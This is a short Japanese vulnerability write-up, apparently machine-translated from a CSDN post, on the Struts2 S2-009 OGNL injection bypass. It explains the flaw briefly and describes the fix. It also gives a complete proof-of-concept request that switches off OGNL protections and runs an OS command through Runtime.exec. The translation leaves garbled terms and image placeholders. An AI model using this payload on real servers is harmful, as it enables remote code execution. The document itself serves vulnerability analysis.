Struts2 009の脆弱性分析

0x00 序文

009 は 003 と 005 に基づいてバイパスされます。ParameterInterceptor はパラメーターを検出しますが、パラメーターの値は検出しないため、バイパスが形成されます。

0x01 テキスト

1.環境設定

ヴァルハブを使うだけ

ポク:

test.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29%29%28aaa%29&z[%28foo%29%28%27aaa%27%29]=true

2. 簡単な分析

ongl が呼び出される前に、 foo の値は root として扱われます
ここに画像の説明を挿入します。これは単にインデックス辞書のようなもので、ツリー内で変数が見つかった場合は、ルートからインデックスが作成されます。

ここに画像の説明を挿入しますそれ以外の内容は実は003や005とあまり変わりません。

0x02修正

修復方法は当然パラメータ名の検出から始まり、パラメータ値の検出を追加しますが、基本的には正規のルールに基づいてブラックリストを取得します。

おすすめ

転載: blog.csdn.net/qq_36869808/article/details/130910028